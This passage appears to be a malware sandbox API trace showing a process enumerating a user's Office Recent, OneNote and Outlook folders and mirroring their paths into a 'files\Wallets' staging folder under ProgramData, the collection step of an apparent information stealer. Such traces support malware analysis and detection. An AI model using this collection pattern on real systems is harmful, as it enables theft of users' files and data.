(in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent\\" [0052.278] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent\\", lpString2="index.dat" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent\\index.dat") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent\\index.dat" [0052.278] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.278] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent" [0052.278] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\" [0052.278] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\", lpString2="Templates.LNK" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK" [0052.278] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent" [0052.278] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent\\" [0052.278] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent\\", lpString2="Templates.LNK" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent\\Templates.LNK") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Office\\Recent\\Templates.LNK" [0052.278] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0 [0052.278] FindClose (in: hFindFile=0x58a180 | out: hFindFile=0x58a180) returned 1 [0052.278] FindNextFileW (in: hFindFile=0x58a540, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0 [0052.278] FindClose (in: hFindFile=0x58a540 | out: hFindFile=0x58a540) returned 1 [0052.279] FindNextFileW (in: hFindFile=0x58a580, lpFindFileData=0x19e774 | out: lpFindFileData=0x19e774) returned 1 [0052.279] lstrcpyW (in: lpString1=0x19ee4c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" [0052.279] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\" [0052.279] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="OneNote" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote" [0052.279] lstrcpyW (in: lpString1=0x19ec40, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" [0052.279] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\" [0052.279] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\", lpString2="OneNote" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote" [0052.279] lstrcmpW (lpString1="OneNote", lpString2=".") returned 1 [0052.279] lstrcmpW (lpString1="OneNote", lpString2="..") returned 1 [0052.279] lstrcpyW (in: lpString1=0x19e0f0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote" [0052.279] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\*.*" [0052.279] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\*.*", lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0x58a240 [0052.280] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote" [0052.280] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\" [0052.280] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\." [0052.280] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote" [0052.280] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote\\" [0052.280] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote\\." [0052.280] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.280] FindNextFileW (in: hFindFile=0x58a240, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.280] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote" [0052.280] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\" [0052.280] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\.." [0052.280] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote" [0052.280] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote\\" [0052.280] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote\\.." [0052.280] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.280] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.280] FindNextFileW (in: hFindFile=0x58a240, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.280] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote" [0052.280] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\" [0052.280] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\", lpString2="16.0" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0" [0052.280] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote" [0052.280] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote\\" [0052.280] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote\\", lpString2="16.0" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote\\16.0") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote\\16.0" [0052.280] lstrcmpW (lpString1="16.0", lpString2=".") returned 1 [0052.280] lstrcmpW (lpString1="16.0", lpString2="..") returned 1 [0052.280] lstrcpyW (in: lpString1=0x19d7ac, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0" [0052.280] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\*.*" [0052.280] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\*.*", lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0x589f40 [0052.280] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0" [0052.280] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\" [0052.280] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\." [0052.280] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote\\16.0" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote\\16.0") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote\\16.0" [0052.280] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote\\16.0", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote\\16.0\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote\\16.0\\" [0052.280] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote\\16.0\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote\\16.0\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote\\16.0\\." [0052.280] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.280] FindNextFileW (in: hFindFile=0x589f40, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.280] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0" [0052.281] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\" [0052.281] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\.." [0052.281] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote\\16.0" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote\\16.0") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote\\16.0" [0052.281] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote\\16.0", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote\\16.0\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote\\16.0\\" [0052.281] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote\\16.0\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote\\16.0\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote\\16.0\\.." [0052.281] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.281] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.281] FindNextFileW (in: hFindFile=0x589f40, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.281] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0" [0052.281] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\" [0052.281] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\", lpString2="Preferences.dat" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat" [0052.281] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote\\16.0" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote\\16.0") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote\\16.0" [0052.281] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote\\16.0", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote\\16.0\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote\\16.0\\" [0052.281] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote\\16.0\\", lpString2="Preferences.dat" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote\\16.0\\Preferences.dat") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\OneNote\\16.0\\Preferences.dat" [0052.281] FindNextFileW (in: hFindFile=0x589f40, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0 [0052.281] FindClose (in: hFindFile=0x589f40 | out: hFindFile=0x589f40) returned 1 [0052.281] FindNextFileW (in: hFindFile=0x58a240, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0 [0052.281] FindClose (in: hFindFile=0x58a240 | out: hFindFile=0x58a240) returned 1 [0052.281] FindNextFileW (in: hFindFile=0x58a580, lpFindFileData=0x19e774 | out: lpFindFileData=0x19e774) returned 1 [0052.281] lstrcpyW (in: lpString1=0x19ee4c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" [0052.281] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\" [0052.281] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Outlook" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook" [0052.281] lstrcpyW (in: lpString1=0x19ec40, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" [0052.281] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\" [0052.281] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\", lpString2="Outlook" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Outlook") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Outlook" [0052.281] lstrcmpW (lpString1="Outlook", lpString2=".") returned 1 [0052.281] lstrcmpW (lpString1="Outlook", lpString2="..") returned 1 [0052.281] lstrcpyW (in: lpString1=0x19e0f0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook" [0052.281] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\*.*" [0052.281] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\*.*", lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0x58a040 [0052.282] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook" [0052.282] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\" [0052.282] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\." [0052.282] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Outlook" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Outlook") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Outlook" [0052.282] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Outlook", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Outlook\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Outlook\\" [0052.282] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Outlook\\", 